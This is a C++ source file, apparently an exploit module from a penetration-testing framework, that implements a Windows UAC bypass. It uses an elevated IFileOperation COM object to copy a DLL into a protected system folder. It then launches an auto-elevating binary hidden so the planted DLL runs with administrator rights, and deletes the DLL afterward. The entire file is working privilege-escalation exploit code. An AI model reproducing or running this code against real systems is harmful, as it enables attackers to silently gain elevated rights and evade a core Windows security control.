#include "ReflectiveLoader.h"
#include "Exploit.h"

#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}

extern "C" {

	void exploit(BypassUacPaths const * const paths)
	{
		const wchar_t *szElevArgs = L"";
		const wchar_t *szEIFOMoniker = NULL;

		PVOID OldValue = NULL;

		IFileOperation *pFileOp = NULL;
		IShellItem *pSHISource = 0;
		IShellItem *pSHIDestination = 0;
		IShellItem *pSHIDelete = 0;

		BOOL bComInitialised = FALSE;

		const IID *pIID_EIFO = &__uuidof(IFileOperation);
		const IID *pIID_EIFOClass = &__uuidof(FileOperation);
		const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);

		dprintf("[BYPASSUACINJ] szElevDir          = %S", paths->szElevDir);
		dprintf("[BYPASSUACINJ] szElevDirSysWow64  = %S", paths->szElevDirSysWow64);
		dprintf("[BYPASSUACINJ] szElevDll          = %S", paths->szElevDll);
		dprintf("[BYPASSUACINJ] szElevDllFull      = %S", paths->szElevDllFull);
		dprintf("[BYPASSUACINJ] szElevExeFull      = %S", paths->szElevExeFull);
		dprintf("[BYPASSUACINJ] szDllTempPath      = %S", paths->szDllTempPath);

		do
		{
			if (CoInitialize(NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Failed to initialize COM");
				break;
			}

			bComInitialised = TRUE;

			if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
				break;
			}

			if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
				break;
			}

			if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
				break;
			}

			if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
				break;
			}

			if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
				break;
			}

			/* Copy the DLL file to the target folder*/
			if (pFileOp->PerformOperations() != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to copy elev dll");
				break;
			}

			/* Execute the target binary */
			SHELLEXECUTEINFOW shinfo;
			ZeroMemory(&shinfo, sizeof(shinfo));
			shinfo.cbSize = sizeof(shinfo);
			shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
			shinfo.lpFile = paths->szElevExeFull;
			shinfo.lpParameters = szElevArgs;
			shinfo.lpDirectory = paths->szElevDir;
			shinfo.nShow = SW_HIDE;

			Wow64DisableWow64FsRedirection(&OldValue);
			if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
			{
				WaitForSingleObject(shinfo.hProcess, 10000);
				CloseHandle(shinfo.hProcess);
			}

			if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
				break;
			}

			if (pFileOp->PerformOperations() == S_OK)
			{
				dprintf("[BYPASSUACINJ] Successfully deleted dll");

				// bail out this point because we don't need to keep trying to delete
				break;
			}

			SAFERELEASE(pSHIDelete);

			// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
			// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
			// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
			if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
				break;
			}

			if (pFileOp->PerformOperations() == S_OK)
			{
				dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
			}
			else
			{
				dprintf("[BYPASSUACINJ] Failed to delete target DLL");
			}

		} while (0);

		SAFERELEASE(pSHIDelete);
		SAFERELEASE(pSHIDestination);
		SAFERELEASE(pSHISource);
		SAFERELEASE(pFileOp);

		if (bComInitialised)
		{
			CoUninitialize();
		}
	}

}